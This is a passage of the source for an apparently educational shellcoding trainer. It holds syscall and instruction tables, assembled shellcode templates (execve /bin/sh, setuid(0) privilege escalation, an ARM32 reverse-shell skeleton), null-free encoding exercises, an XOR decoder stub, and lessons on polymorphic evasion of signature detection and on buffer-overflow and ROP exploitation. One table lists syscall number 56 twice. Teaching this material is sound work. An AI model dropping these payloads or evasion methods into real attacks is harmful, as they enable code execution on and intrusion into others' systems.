bytes: "02 00 a0 e3 01 10 a0 e3 02 20 22 e0 7d 70 a0 e3 9c 70 87 e2 00 00 00 ef 00 60 a0 e1",
desc: "ARM32 reverse shell skeleton — socket, dup2 loop, execve. Needs connect() with sockaddr_in filled in for target IP:port.",
nullFree: false,
},
},
},
arm64: {
name: "AArch64 (ARM64)",
bits: 64,
color: "#c792ea",
registers: ["x0","x1","x2","x3","x4","x5","x6","x7","x8","x9","x10","x11","x12","x13","x14","x15","x16","x17","x18","x19","x20","x21","x22","x23","x24","x25","x26","x27","x28","x29","x30","sp","pc"],
gpr: ["x0","x1","x2","x3","x4","x5","x6","x7","x8","x9","x10","x11","x12","x13","x14","x15"],
special: { sp: "sp", bp: "x29 (fp)", ip: "pc", flags: "NZCV (pstate)" },
callingConv: "AAPCS64 — args in X0-X7. Return in X0. X19-X28 callee-saved. X30 (LR) = return address.",
syscallMethod: "svc #0",
syscallReg: "x8",
syscallArgs: ["x0","x1","x2","x3","x4","x5"],
endian: "Little (fixed)",
addressSize: "8 bytes",
syscalls: {
56: { name: "sys_clone", args: ["unsigned long flags","void *stack","..."] },
57: { name: "sys_close", args: ["uint fd"] },
63: { name: "sys_read", args: ["uint fd","char *buf","size_t count"] },
64: { name: "sys_write", args: ["uint fd","char *buf","size_t count"] },
56: { name: "sys_openat", args: ["int dfd","char *filename","int flags","int mode"] },
23: { name: "sys_dup", args: ["uint fd"] },
24: { name: "sys_dup3", args: ["uint oldfd","uint newfd","int flags"] },
29: { name: "sys_ioctl", args: ["uint fd","uint cmd","unsigned long arg"] },
93: { name: "sys_exit", args: ["int status"] },
94: { name: "sys_exit_group", args: ["int status"] },
129: { name: "sys_kill", args: ["pid_t pid","int sig"] },
146: { name: "sys_setuid", args: ["uid_t uid"] },
153: { name: "sys_setsid", args: [] },
172: { name: "sys_getpid", args: [] },
198: { name: "sys_socket", args: ["int domain","int type","int protocol"] },
200: { name: "sys_bind", args: ["int fd","struct sockaddr *addr","int addrlen"] },
201: { name: "sys_listen", args: ["int fd","int backlog"] },
202: { name: "sys_accept", args: ["int fd","struct sockaddr *addr","int *addrlen"] },
203: { name: "sys_connect", args: ["int fd","struct sockaddr *addr","int addrlen"] },
214: { name: "sys_brk", args: ["unsigned long brk"] },
221: { name: "sys_execve", args: ["char *filename","char **argv","char **envp"] },
222: { name: "sys_mmap", args: ["void *addr","size_t len","int prot","int flags","int fd","off_t off"] },
226: { name: "sys_mprotect", args: ["void *addr","size_t len","int prot"] },
233: { name: "sys_nanosleep", args: ["struct timespec *req","struct timespec *rem"] },
},
instructions: {
"Data Processing": [
{ op: "mov", syn: "mov Xd, Xn / mov Xd, #imm", desc: "Move register or 16-bit immediate", ex: "mov x0, x1" },
{ op: "movz", syn: "movz Xd, #imm16, lsl #shift", desc: "Move wide with zero — sets 16-bit slice, zeros rest", ex: "movz x0, #0x6873" },
{ op: "movk", syn: "movk Xd, #imm16, lsl #shift", desc: "Move wide with keep — sets 16-bit slice, keeps rest", ex: "movk x0, #0x2f2f, lsl #16" },
{ op: "movn", syn: "movn Xd, #imm16, lsl #shift", desc: "Move wide NOT — for loading negative values", ex: "movn x0, #0 ; x0 = -1" },
{ op: "add", syn: "add Xd, Xn, Op2", desc: "Add (register or imm12)", ex: "add x0, x1, #16" },
{ op: "sub", syn: "sub Xd, Xn, Op2", desc: "Subtract", ex: "sub sp, sp, #64" },
{ op: "adds/subs", syn: "adds Xd, Xn, Op2", desc: "Add/sub and set flags (NZCV)", ex: "subs x0, x0, #1" },
{ op: "mul", syn: "mul Xd, Xn, Xm", desc: "Multiply (64-bit result)", ex: "mul x0, x1, x2" },
{ op: "neg", syn: "neg Xd, Xn", desc: "Negate (alias: sub Xd, XZR, Xn)", ex: "neg x0, x0" },
{ op: "adr", syn: "adr Xd, label", desc: "PC-relative address (±1MB)", ex: "adr x0, msg" },
{ op: "adrp", syn: "adrp Xd, label", desc: "PC-relative page address (±4GB)", ex: "adrp x0, msg" },
],
"Logic & Bitwise": [
{ op: "and", syn: "and Xd, Xn, Op2", desc: "Bitwise AND", ex: "and x0, x0, #0xFF" },
{ op: "orr", syn: "orr Xd, Xn, Op2", desc: "Bitwise OR", ex: "orr x0, x0, #0x80" },
{ op: "eor", syn: "eor Xd, Xn, Op2", desc: "Bitwise XOR", ex: "eor x0, x0, x0 ; zero" },
{ op: "bic", syn: "bic Xd, Xn, Op2", desc: "Bit clear (AND NOT)", ex: "bic x0, x0, #0xF" },
{ op: "tst", syn: "tst Xn, Op2", desc: "Test bits (AND, sets NZCV, no result)", ex: "tst x0, #1" },
{ op: "cmp", syn: "cmp Xn, Op2", desc: "Compare (SUBS, sets NZCV, no result)", ex: "cmp x0, #0" },
{ op: "lsl/lsr/asr", syn: "lsl Xd, Xn, #n", desc: "Shift operations", ex: "lsl x0, x1, #2" },
{ op: "ror", syn: "ror Xd, Xn, #n", desc: "Rotate right", ex: "ror x0, x0, #8" },
{ op: "cls/clz", syn: "clz Xd, Xn", desc: "Count leading zeros/sign bits", ex: "clz x0, x1" },
{ op: "rev", syn: "rev Xd, Xn", desc: "Reverse byte order (endian swap)", ex: "rev x0, x0" },
],
"Memory": [
{ op: "ldr", syn: "ldr Xd, [Xn, #off]", desc: "Load register (word/doubleword)", ex: "ldr x0, [sp, #8]" },
{ op: "str", syn: "str Xd, [Xn, #off]", desc: "Store register", ex: "str x0, [sp]" },
{ op: "ldp/stp", syn: "stp X1, X2, [sp, #-16]!", desc: "Load/store pair (pre/post-index)", ex: "stp x29, x30, [sp, #-16]!" },
{ op: "ldrb/strb", syn: "ldrb Wd, [Xn]", desc: "Load/store byte (zero-extends to 32-bit W reg)", ex: "ldrb w0, [x1]" },
{ op: "ldrh/strh", syn: "ldrh Wd, [Xn]", desc: "Load/store halfword (16-bit)", ex: "ldrh w0, [x1, #2]" },
{ op: "ldrsb/ldrsh", syn: "ldrsb Xd, [Xn]", desc: "Load byte/half with sign extension", ex: "ldrsb x0, [x1]" },
{ op: "ldr Xd, =imm", syn: "ldr x0, =0x1234", desc: "Pseudo-instruction: load from literal pool", ex: "ldr x0, =0xDEADBEEF" },
],
"Branch & System": [
{ op: "b", syn: "b label", desc: "Unconditional branch (±128MB)", ex: "b loop" },
{ op: "bl", syn: "bl label", desc: "Branch with link (call — saves PC to X30)", ex: "bl printf" },
{ op: "br/blr", syn: "blr Xn", desc: "Branch to register / with link", ex: "blr x8" },
{ op: "ret", syn: "ret", desc: "Return — BR X30", ex: "ret" },
{ op: "b.cond", syn: "b.eq/b.ne/b.gt/b.lt/b.ge/b.le/b.hi/b.lo", desc: "Conditional branch (16 conditions)", ex: "b.ne loop" },
{ op: "cbz/cbnz", syn: "cbz Xn, label", desc: "Compare and branch if zero/nonzero", ex: "cbz x0, done" },
{ op: "tbz/tbnz", syn: "tbz Xn, #bit, label", desc: "Test bit and branch", ex: "tbz x0, #0, is_even" },
{ op: "svc", syn: "svc #0", desc: "Supervisor call (triggers EL1 exception → syscall)", ex: "svc #0" },
{ op: "nop", syn: "nop", desc: "No operation", ex: "nop" },
],
"Special Registers": [
{ op: "xzr/wzr", syn: "mov x0, xzr", desc: "Zero register — always reads as 0, writes discarded", ex: "mov x0, xzr ; zero without nulls" },
{ op: "sp", syn: "mov x0, sp", desc: "Stack pointer (special, 16-byte aligned)", ex: "sub sp, sp, #32" },
{ op: "mrs/msr", syn: "mrs Xd, sysreg", desc: "Move to/from system register", ex: "mrs x0, NZCV" },
],
},
shellcodeTemplates: {
"exit(0)": {
asm: `; exit(0) — AArch64
mov x0, #0 ; status = 0
mov x8, #93 ; sys_exit
svc #0`,
bytes: "00 00 80 d2 a8 0b 80 d2 01 00 00 d4",
desc: "Minimal AArch64 exit. All A64 instructions are 4 bytes — inherently fewer null-byte issues than ARM32.",
nullFree: false,
},
"write(1, msg, 2)": {
asm: `; write(1, "HI", 2) + exit — AArch64
mov x0, #1 ; fd = stdout
mov x1, #0x4948 ; "HI" little-endian
str x1, [sp, #-16]!
mov x1, sp ; buf = stack pointer
mov x2, #2 ; count
mov x8, #64 ; sys_write
svc #0
mov x0, #0
mov x8, #93 ; sys_exit
svc #0`,
bytes: "20 00 80 d2 01 29 89 d2 e1 0f 1f f8 e1 03 00 91 42 00 80 d2 08 08 80 d2 01 00 00 d4 00 00 80 d2 a8 0b 80 d2 01 00 00 d4",
desc: "AArch64 write using stack-allocated string via STR pre-index.",
nullFree: false,
},
"execve(/bin/sh)": {
asm: `; execve("/bin/sh", NULL, NULL) — AArch64
mov x1, xzr
mov x2, xzr
movz x3, #0x6873
movk x3, #0x2f2f, lsl #16
movk x3, #0x6e69, lsl #32
movk x3, #0x622f, lsl #48
str x3, [sp, #-8]!
mov x0, sp
mov x8, #221
svc #0`,
bytes: "e1 03 1f aa e2 03 1f aa 63 0e d0 d2 63 e5 bf f2 63 2d cd f2 63 45 c8 f2 e3 0f 1f f8 e0 03 00 91 a8 1b 80 d2 01 00 00 d4",
desc: "AArch64 execve using movz/movk chain for 64-bit string construction.",
nullFree: true,
},
"setuid+execve": {
asm: `; setuid(0) + execve — AArch64
mov x0, xzr
mov x8, #146
svc #0
mov x1, xzr
mov x2, xzr
movz x3, #0x6873
movk x3, #0x2f2f, lsl #16
movk x3, #0x6e69, lsl #32
movk x3, #0x622f, lsl #48
str x3, [sp, #-8]!
mov x0, sp
mov x8, #221
svc #0`,
bytes: "e0 03 1f aa 28 12 80 d2 01 00 00 d4 e1 03 1f aa e2 03 1f aa 63 0e d0 d2 63 e5 bf f2 63 2d cd f2 63 45 c8 f2 e3 0f 1f f8 e0 03 00 91 a8 1b 80 d2 01 00 00 d4",
desc: "Privilege escalation: setuid(0) then execve. Uses XZR for zero.",
nullFree: true,
},
},
},
};
// ── Encoding Exercises ──
const EXERCISES = [
{
id: "enc1",
title: "Zero a Register (x86)",
arch: "x86",
difficulty: 1,
prompt: "Write the most efficient way to zero EAX without using a null byte.",
hint: "XOR a register with itself produces zero and is only 2 bytes.",
answer: "xor eax, eax",
explanation: "XOR EAX, EAX (opcode: 31 C0) is 2 bytes with no nulls. MOV EAX, 0 would be 5 bytes (B8 00 00 00 00) — full of nulls.",
badBytes: "b8 00 00 00 00",
goodBytes: "31 c0",
},
{
id: "enc2",
title: "Null-Free Syscall Number (x64)",
arch: "x64",
difficulty: 1,
prompt: "Load syscall number 60 (sys_exit) into RAX without null bytes.",
hint: "push the immediate, then pop into the register.",
answer: "push 60\npop rax",
explanation: "PUSH 60 / POP RAX (6A 3C 58) is 3 bytes, null-free. MOV RAX, 60 would require REX.W prefix and encode as 48 C7 C0 3C 00 00 00 — nulls everywhere.",
badBytes: "48 c7 c0 3c 00 00 00",
goodBytes: "6a 3c 58",
},
{
id: "enc3",
title: "Stack String Construction (x86)",
arch: "x86",
difficulty: 2,
prompt: "Push the string '/bin' onto the stack in x86 without null bytes.",
hint: "Strings are pushed as 32-bit DWORDs in reverse byte order (little-endian).",
answer: "push 0x6e69622f",
explanation: "'/bin' in ASCII: 2F=/ 62=b 69=i 6E=n. In little-endian DWORD: 0x6E69622F. PUSH 0x6E69622F (68 2F 62 69 6E) — 5 bytes, no nulls.",
badBytes: "",
goodBytes: "68 2f 62 69 6e",
},
{
id: "enc4",
title: "Avoiding Null in /bin/sh (x86)",
arch: "x86",
difficulty: 2,
prompt: "The string '/bin/sh' is 7 bytes — it doesn't fill a DWORD cleanly. How do you push it without introducing a null?",
hint: "Use a double-slash: '/bin//sh' is 8 bytes = two clean DWORDs.",
answer: "push 0x68732f2f\npush 0x6e69622f",
explanation: "'/bin//sh': two pushes — 0x68732F2F ('//sh') then 0x6E69622F ('/bin'). The extra '/' is ignored by the kernel. ESP now points to '/bin//sh'.",
badBytes: "",
goodBytes: "68 2f 2f 73 68 68 2f 62 69 6e",
},
{
id: "enc5",
title: "JMP-CALL-POP Pattern",
arch: "x86",
difficulty: 3,
prompt: "Explain why JMP-CALL-POP works for getting a string address, and what happens at each step.",
hint: "CALL pushes the next instruction's address (the return address) onto the stack.",
answer: "jmp short _call\n_code: pop esi ; ESI = &string\n...\n_call: call _code\ndb 'hello'",
explanation: "JMP forward past the data to a CALL. CALL pushes the address of the *next* instruction (our string data) onto the stack, then jumps back. POP retrieves the string address. Position-independent — works at any load address.",
badBytes: "",
goodBytes: "eb XX 5e ... e8 YY ff ff ff 68 65 6c 6c 6f",
},
{
id: "enc6",
title: "XOR Encoder (x86)",
arch: "x86",
difficulty: 3,
prompt: "Write a decoder stub that XOR-decodes ECX bytes at ESI with key 0xAA.",
hint: "Loop: load byte at [ESI], XOR with key, store back, increment ESI, decrement ECX, repeat.",
answer: "decode:\n xor byte [esi], 0xAA\n inc esi\n loop decode",
explanation: "LOOP decrements ECX and jumps if nonzero. The stub walks the encoded payload byte-by-byte, XORing each with the key to restore the original shellcode. Prepend this to your encoded payload.",
badBytes: "",
goodBytes: "80 36 aa 46 e2 fb",
},
{
id: "arm1",
title: "Zero a Register (ARM32)",
arch: "arm32",
difficulty: 1,
prompt: "Zero register R0 in ARM32 without null bytes. Remember ARM32 fixed-width encoding often produces nulls.",
hint: "EOR (exclusive OR) a register with itself. In Thumb mode, this avoids the null bytes inherent in ARM 32-bit encoding.",
answer: "eor r0, r0, r0",
explanation: "EOR R0, R0, R0 zeros the register. In Thumb mode (2 bytes: 40 40), this is null-free. In ARM mode (4 bytes: 00 00 20 E0), it contains 0x00 bytes — one reason Thumb mode is preferred for shellcoding.",
badBytes: "00 00 a0 e3",
goodBytes: "40 40",
},
{
id: "arm2",
title: "Syscall Setup (ARM32)",
arch: "arm32",
difficulty: 1,
prompt: "Set up the registers for sys_exit(0) on ARM32. What register holds the syscall number?",
hint: "On ARM32, syscall number goes in R7, and the first argument goes in R0.",
answer: "mov r0, #0\nmov r7, #1\nsvc #0",
explanation: "ARM32 Linux syscall convention: number in R7, args in R0-R5, invoked with SVC #0. sys_exit=1, status in R0. This is very different from x86 (EAX for syscall number, INT 0x80).",
badBytes: "",
goodBytes: "00 00 a0 e3 01 70 a0 e3 00 00 00 ef",
},
{
id: "arm3",
title: "Thumb vs ARM Encoding",
arch: "arm32",
difficulty: 2,
prompt: "Why is Thumb mode preferred for ARM shellcoding? How do you switch to Thumb mode?",
hint: "ARM 32-bit instructions are always 4 bytes and commonly contain 0x00. Thumb uses 2-byte instructions.",
answer: ".thumb\nadd r0, #1",
explanation: "ARM32 fixed 4-byte encoding produces null bytes in most instructions (e.g., MOV R0,#0 = 00 00 A0 E3). Thumb mode uses 16-bit instructions that naturally avoid nulls. Switch via .thumb directive or BX to an odd address. BX LR with bit 0 set enters Thumb mode.",
badBytes: "00 00 a0 e3",
goodBytes: "01 30",
},
{
id: "arm4",
title: "Build String (AArch64)",
arch: "arm64",
difficulty: 2,
prompt: "Build the string '/bin' in register X3 on AArch64 using movz/movk. How does the movz/movk chain work?",
hint: "movz loads a 16-bit immediate and zeros the rest. movk keeps the existing value and overwrites one 16-bit slot.",
answer: "movz x3, #0x6962\nmovk x3, #0x2f6e, lsl #16",
explanation: "AArch64 can't load 64-bit immediates directly. movz sets one 16-bit chunk and zeros the rest. movk (keep) sets one 16-bit chunk without disturbing the others. Chain up to 4 movk calls to build a full 64-bit value. Little-endian: '/bin' = 2F 62 69 6E → movz #0x6962 (bytes 0-1), movk #0x2f6e, lsl #16 (bytes 2-3).",
badBytes: "",
goodBytes: "",
},
{
id: "arm5",
title: "AArch64 Null-Free Zeroing",
arch: "arm64",
difficulty: 1,
prompt: "Zero register X0 on AArch64 without producing null bytes. AArch64 has a dedicated zero register.",
hint: "The XZR (zero register) always reads as zero. MOV from XZR avoids encoding a literal 0.",
answer: "mov x0, xzr",
explanation: "AArch64 has XZR/WZR — a hardwired zero register. MOV X0, XZR (AA 1F 03 E0... varies by encoding) is typically cleaner than MOV X0, #0. XZR is one of AArch64's biggest advantages for shellcoding — you never need XOR-zeroing tricks like on x86.",
badBytes: "",
goodBytes: "e0 03 1f aa",
},
];
// ── Lesson Modules ──
const LESSONS = [
{
id: "L1",
title: "Architecture Fundamentals",
sections: [
{ title: "Registers & Data Sizes", content: "Registers are the CPU's fastest storage — directly wired into the ALU. x86 has 8 general-purpose 32-bit registers (EAX–EDI), while x64 extends these to 64-bit (RAX–RDI) and adds R8–R15. ARM uses R0–R12 with SP/LR/PC as dedicated registers. AArch64 expands to 31 general-purpose 64-bit registers (X0–X30).\n\nRegister sub-divisions matter for shellcode: writing to EAX zeros the upper 32 bits of RAX on x64, but writing to AX/AL does not. This zero-extension behavior is critical for avoiding unintended values." },
{ title: "Memory Layout", content: "A process's virtual memory follows a standard layout: .text (executable code, read-only), .data (initialized globals), .bss (uninitialized globals, zero-filled), heap (grows upward via brk/mmap), and stack (grows downward from high addresses). The stack stores return addresses, local variables, and function arguments — making it the primary target for classic buffer overflow exploitation.\n\nStack alignment matters: x86 traditionally uses 4-byte alignment, but x64 ABI requires 16-byte alignment before CALL instructions. Misalignment causes SIGSEGV on SSE instructions — a common shellcode debugging headache." },
{ title: "Endianness", content: "x86/x64 and ARM (in standard config) are little-endian: the least significant byte is stored at the lowest address. So the 32-bit value 0xDEADBEEF is stored in memory as EF BE AD DE. This affects how you construct strings on the stack — '/bin' (2F 62 69 6E) must be pushed as 0x6E69622F.\n\nARM can operate in big-endian mode but almost never does in practice. AArch64 is fixed little-endian. Network byte order (big-endian) requires conversion for socket addresses — htons() for ports, htonl() for IPs." },
],
},
{
id: "L2",
title: "Shellcoding Principles",
sections: [
{ title: "Position Independence", content: "Shellcode must work without knowing its load address — you can't use absolute addresses. Techniques:\n\n1. JMP-CALL-POP: jump forward to a CALL, which pushes the address of the following data onto the stack, then pop it into a register.\n2. RIP-relative addressing (x64): LEA RDI, [RIP+offset] directly references data relative to the current instruction pointer.\n3. Stack construction: build strings by pushing immediate values onto the stack, then reference via RSP/ESP.\n4. ADR instruction (ARM): loads a PC-relative address in a single instruction.\n\nStack construction is most common in modern x86/x64 shellcode because it's compact and inherently position-independent." },
{ title: "Null Byte Avoidance", content: "Null bytes (0x00) terminate strings in C — if your shellcode is delivered via strcpy(), sprintf(), or similar functions, any null byte truncates the payload. Avoidance techniques:\n\n• XOR zeroing: xor eax, eax instead of mov eax, 0\n• Partial register loads: mov al, 1 instead of mov eax, 1\n• Push/pop: push 60; pop rax instead of mov rax, 60\n• Double-slash trick: '/bin//sh' instead of '/bin/sh\\0' to fill DWORD boundaries\n• SUB encoding: if an instruction unavoidably has a null, XOR-encode the shellcode and prepend a decoder stub\n\nAlways verify with: objdump -d shellcode.o | grep '00' or a hex dump." },
{ title: "System Calls", content: "Shellcode talks to the kernel via syscalls — no libc wrappers. Each architecture has a different convention:\n\n• x86: syscall number in EAX, args in EBX/ECX/EDX/ESI/EDI/EBP, invoke with INT 0x80\n• x64: syscall number in RAX, args in RDI/RSI/RDX/R10/R8/R9, invoke with SYSCALL instruction\n• ARM32: syscall number in R7, args in R0–R5, invoke with SVC #0\n• AArch64: syscall number in X8, args in X0–X5, invoke with SVC #0\n\nSyscall numbers differ between architectures AND between 32/64 bit on the same arch. sys_write is 4 on x86 but 1 on x64. Always verify against the kernel header or a syscall table." },
],
},
{
id: "L3",
title: "Encoding & Evasion",
sections: [
{ title: "XOR Encoding", content: "The simplest encoder: XOR every byte of the shellcode with a single-byte key. The decoder stub (prepended to the payload) walks the encoded bytes and XORs them back. Choose a key that doesn't appear in the original shellcode — otherwise that byte becomes 0x00.\n\nLimitation: single-byte XOR is trivially detected by AV/IDS. It's a signature: look for a tight loop with XOR [reg], imm8.\n\nImprovement: use a multi-byte key (rolling XOR), or a different operation per byte (ADD/SUB/ROL rotation)." },
{ title: "Polymorphic Shellcode", content: "Polymorphic shellcode changes its appearance on every generation while maintaining identical functionality. Techniques:\n\n1. Register substitution: swap which registers perform which roles (use ECX instead of EBX)\n2. Instruction substitution: sub eax, eax ↔ xor eax, eax ↔ push 0; pop eax\n3. Garbage insertion: insert NOPs, dead code, or benign instructions between real ones\n4. Reordering: rearrange independent instruction sequences\n5. Metamorphic engines: full code rewriting — the decoder itself changes shape\n\nGoal: defeat signature-based detection. Does NOT defeat behavioral analysis or emulation." },
{ title: "Bad Character Analysis", content: "Different exploit vectors filter different byte values. Common bad chars:\n\n• 0x00 — null (string terminator)\n• 0x0a — newline (line-buffered input)\n• 0x0d — carriage return\n• 0x20 — space (argument separator)\n• 0xff — sometimes filtered in URL/HTTP contexts\n\nWorkflow: generate all 256 bytes (\\x00–\\xff), send through the vulnerability, compare what arrives vs what was sent. Missing/corrupted bytes are your bad chars. Then either avoid those opcodes or encode around them." },
],
},
{
id: "L4",
title: "Exploit Integration",
sections: [
{ title: "Stack Buffer Overflows", content: "Classic exploitation: overflow a stack buffer to overwrite the saved return address (EIP/RIP) with a pointer to your shellcode. The function's RET instruction pops your controlled value into the instruction pointer, redirecting execution.\n\nModern mitigations: NX/DEP marks the stack non-executable — shellcode on the stack won't run. ASLR randomizes stack addresses — you can't predict where your shellcode lands. Stack canaries detect overwrites before RET executes.\n\nBypass: ROP (Return-Oriented Programming) chains existing code gadgets instead of injecting new code. The shellcode still matters — it's what your ROP chain ultimately executes after disabling protections." },
{ title: "ROP & Shellcode Staging", content: "When NX prevents direct shellcode execution, ROP chains small instruction sequences ('gadgets') ending in RET to build a program from existing code. Common strategy:\n\n1. ROP chain calls mprotect() to mark a memory page RWX\n2. Copy shellcode to that page (or it's already there from the overflow)\n3. Final gadget jumps to the now-executable shellcode\n\nAlternatively, a staged approach: a tiny first-stage shellcode (egg hunter, or read() call) pulls in the full second-stage payload over the network or from another memory location. This keeps the initial payload small enough to fit in tight buffer constraints." },
{ title: "Cross-Architecture Considerations", content: "ARM shellcode faces unique challenges: fixed-width instructions (4 bytes ARM, 2 bytes Thumb) mean more null bytes in typical ARM encoding. Solution: use Thumb mode — 16-bit instructions are denser and have fewer embedded nulls.\n\nAArch64: all instructions are exactly 4 bytes. movz/movk chains build 64-bit immediates in 16-bit chunks. No equivalent of x86's variable-length encoding means less flexibility for size optimization.\n\nMIPS (if you encounter it): branch delay slots execute the instruction AFTER a branch regardless. Forgetting this is a classic MIPS shellcoding mistake." },
],
},
];
// ── Hex Viewer ──
const HexViewer = ({ bytes, highlight }) => {
const byteArr = bytes.split(" ").filter(Boolean);
return (
{byteArr.map((b, i) => {
const isNull = b === "00";
const isHl = highlight && highlight.includes(i);
return (
{b}
);
})}
{byteArr.filter(b => b !== "...").length} bytes
{byteArr.some(b => b === "00") && ⚠ Contains null bytes}
{!byteArr.some(b => b === "00") && ✓ Null-free}
);
};
// ── Register Visualizer ──
const RegisterViz = ({ arch }) => {
const a = ARCHS[arch];
const [vals, setVals] = useState({});
useEffect(() => {
const v = {};
a.registers.forEach(r => { v[r] = Math.floor(Math.random() * (a.bits === 64 ? 0xFFFFFFFF : 0xFFFF)); });
setVals(v);
}, [arch]);
const fmt = (v) => a.bits === 64
? "0x" + (v >>> 0).toString(16).padStart(8, "0").toUpperCase()
: "0x" + (v >>> 0).toString(16).padStart(8, "0").toUpperCase();
const isSpecial = (r) => Object.values(a.special).some(s => s.includes(r));
return (
{a.registers.slice(0, 16).map(r => (
{r.toUpperCase()}
{fmt(vals[r] || 0)}
))}
);
};
// ── Stack Visualizer ──
const StackViz = ({ arch }) => {
const a = ARCHS[arch];
const base = a.bits === 64 ? 0x7FFFFFFFE000 : 0xBFFFF000;
const rows = [
{ off: 0, label: "Return Address (saved " + (a.bits === 64 ? "RIP" : "EIP") + ")", val: "0x0804xxxx", color: "#ff4757" },
{ off: a.bits / 8, label: "Saved " + (a.bits === 64 ? "RBP" : "EBP"), val: "0xBFFFxxxx", color: "#ff6b35" },
{ off: (a.bits / 8) * 2, label: "Local var: buffer[0..3]", val: "0x41414141", color: "#ffd866" },
{ off: (a.bits / 8) * 3, label: "Local var: buffer[4..7]", val: "0x41414141", color: "#ffd866" },
{ off: (a.bits / 8) * 4, label: "Local var: buffer[8..11]", val: "0x41414141", color: "#ffd866" },
{ off: (a.bits / 8) * 5, label: "Stack canary (if present)", val: "0x00DEAD00", color: "#c792ea" },
{ off: (a.bits / 8) * 6, label: "← " + (a.bits === 64 ? "RSP" : "ESP") + " (stack pointer)", val: "", color: "#39ff14" },
];
return (
Address
Value
Description
{rows.map((r, i) => (
{"0x" + (base - r.off).toString(16).toUpperCase()}
{r.val}
{r.label}
))}
▲ Stack grows downward (toward lower addresses) ▲
);
};
// ═══════════════════════════════════════════════════════════════
// CPU EMULATION ENGINE — Step Debugger Core
// ═══════════════════════════════════════════════════════════════
const STACK_BASE_32 = 0xBFFFF000;
const STACK_BASE_64 = 0x7FFFFFFFE000;
const CODE_BASE = 0x08048000;
function createCpuState(archKey) {
const ar = ARCHS[archKey];
const regs = {};
ar.registers.forEach(r => { regs[r] = 0; });
const stackBase = ar.bits === 64 ? STACK_BASE_64 : STACK_BASE_32;
const sp = ar.special.sp;
regs[sp] = stackBase;
const ip = ar.special.ip.replace(/ .*/, ""); // strip aliases like "pc (r15)"
regs[ip] = CODE_BASE;
return {
regs,
flags: { ZF: 0, CF: 0, SF: 0, OF: 0 },
memory: {}, // address -> byte value
stack: [], // [{addr, value, label}]
pc: 0, // index into parsed instructions
halted: false,
output: [], // syscall output
history: [], // previous states for undo
};
}
function parseImm(s) {
if (!s) return NaN;
s = s.trim().replace(/,$/,"");
if (s.startsWith("0x") || s.startsWith("0X")) return parseInt(s, 16);
if (s.startsWith("-0x")) return -parseInt(s.slice(1), 16);
if (s.startsWith("0b")) return parseInt(s.slice(2), 2);
return parseInt(s, 10);
}
function isReg(s, archKey) {
if (!s) return false;
const ar = ARCHS[archKey];
return ar.registers.includes(s.toLowerCase().replace(/,$/,""));
}
function cleanOp(s) {
return (s || "").trim().replace(/,$/,"").toLowerCase();
}
function parseAsmLines(code, archKey) {
const lines = code.split("\n");
const parsed = [];
const labels = {};
const ar = ARCHS[archKey];
// First pass: find labels
let instrIdx = 0;
lines.forEach((line) => {
const trimmed = line.trim();
if (!trimmed || trimmed.startsWith(";") || trimmed.startsWith("#") ||
trimmed.startsWith("section") || trimmed.startsWith(".") ||
trimmed.startsWith("global") || trimmed.startsWith("db ") ||
trimmed.startsWith(".ascii") || trimmed.startsWith(".syntax")) return;
if (trimmed.endsWith(":")) {
labels[trimmed.slice(0, -1).trim()] = instrIdx;
return;
}
// Handle label on same line as instruction
if (trimmed.includes(":")) {
const parts = trimmed.split(":");
labels[parts[0].trim()] = instrIdx;
const rest = parts.slice(1).join(":").trim();
if (rest && !rest.startsWith(";")) instrIdx++;
return;
}
instrIdx++;
});
// Second pass: parse instructions
lines.forEach((line, lineNum) => {
let trimmed = line.trim();
if (!trimmed || trimmed.startsWith(";") || trimmed.startsWith("#") ||
trimmed.startsWith("section") || trimmed.startsWith(".") ||
trimmed.startsWith("global") || trimmed.startsWith("db ") ||
trimmed.startsWith(".ascii") || trimmed.startsWith(".syntax")) {
// Still track for display
if (trimmed) parsed.push({ type: "meta", raw: line, lineNum, op: null });
return;
}
if (trimmed.endsWith(":")) {
parsed.push({ type: "label", raw: line, lineNum, op: null, name: trimmed.slice(0,-1).trim() });
return;
}
// Strip inline comments
const commentIdx = trimmed.indexOf(";");
if (commentIdx > 0) trimmed = trimmed.slice(0, commentIdx).trim();
const commentIdx2 = trimmed.indexOf("#");
if (commentIdx2 > 0) trimmed = trimmed.slice(0, commentIdx2).trim();
// Handle label:instruction
if (trimmed.includes(":")) {
const parts = trimmed.split(":");
const lbl = parts[0].trim();
parsed.push({ type: "label", raw: lbl + ":", lineNum, op: null, name: lbl });
trimmed = parts.slice(1).join(":").trim();
if (!trimmed) return;
}
// Parse instruction
const spaceIdx = trimmed.indexOf(" ");
let op, operands;
if (spaceIdx === -1) {
op = trimmed.toLowerCase();
operands = [];
} else {
op = trimmed.slice(0, spaceIdx).toLowerCase();
const opStr = trimmed.slice(spaceIdx + 1).trim();
// Split on comma but not inside brackets
operands = [];
let depth = 0, cur = "";
for (const ch of opStr) {
if (ch === "[") depth++;
if (ch === "]") depth--;
if (ch === "," && depth === 0) {
operands.push(cur.trim());
cur = "";
} else cur += ch;
}
if (cur.trim()) operands.push(cur.trim());
}
// Handle rep prefix
if (op === "rep" || op === "repe" || op === "repne") {
const rest = operands.join(" ");
op = op + " " + rest.split(" ")[0];
operands = [];
}
// Normalize conditional jumps
const jccOps = ["je","jz","jne","jnz","jg","jge","jl","jle","ja","jae","jb","jbe","jnle","jnge","jnbe","jnae","jns","js","jo","jno"];
parsed.push({
type: "instr",
raw: line,
lineNum,
op,
operands,
addr: CODE_BASE + (parsed.filter(p => p.type === "instr").length * 4),
});
});
return { instructions: parsed, labels };
}
function execInstruction(cpu, instr, labels, archKey) {
const ar = ARCHS[archKey];
const spName = ar.special.sp;
const ipName = ar.special.ip.replace(/ .*/,"");
const wordSize = ar.bits / 8;
// Save state for undo
const snapshot = JSON.parse(JSON.stringify({ regs: cpu.regs, flags: cpu.flags, memory: cpu.memory, stack: cpu.stack }));
cpu.history.push(snapshot);
if (cpu.history.length > 100) cpu.history.shift();
const getReg = (name) => cpu.regs[cleanOp(name)] || 0;
const setReg = (name, val) => {
const r = cleanOp(name);
if (cpu.regs.hasOwnProperty(r)) {
if (ar.bits === 32) val = val & 0xFFFFFFFF;
else val = val & 0xFFFFFFFF;
cpu.regs[r] = val;
}
};
// Memory dereference support: [reg], [reg+off], [reg+reg*scale], byte [addr]
const isMem = (operand) => {
if (!operand) return false;
const s = operand.trim();
return s.includes("[") && s.includes("]");
};
const resolveAddr = (operand) => {
// Parse: [reg], [reg+imm], [reg-imm], [reg+reg], [reg+reg*scale+imm]
const s = cleanOp(operand);
const inner = s.match(/\[([^\]]+)\]/)?.[1]?.trim();
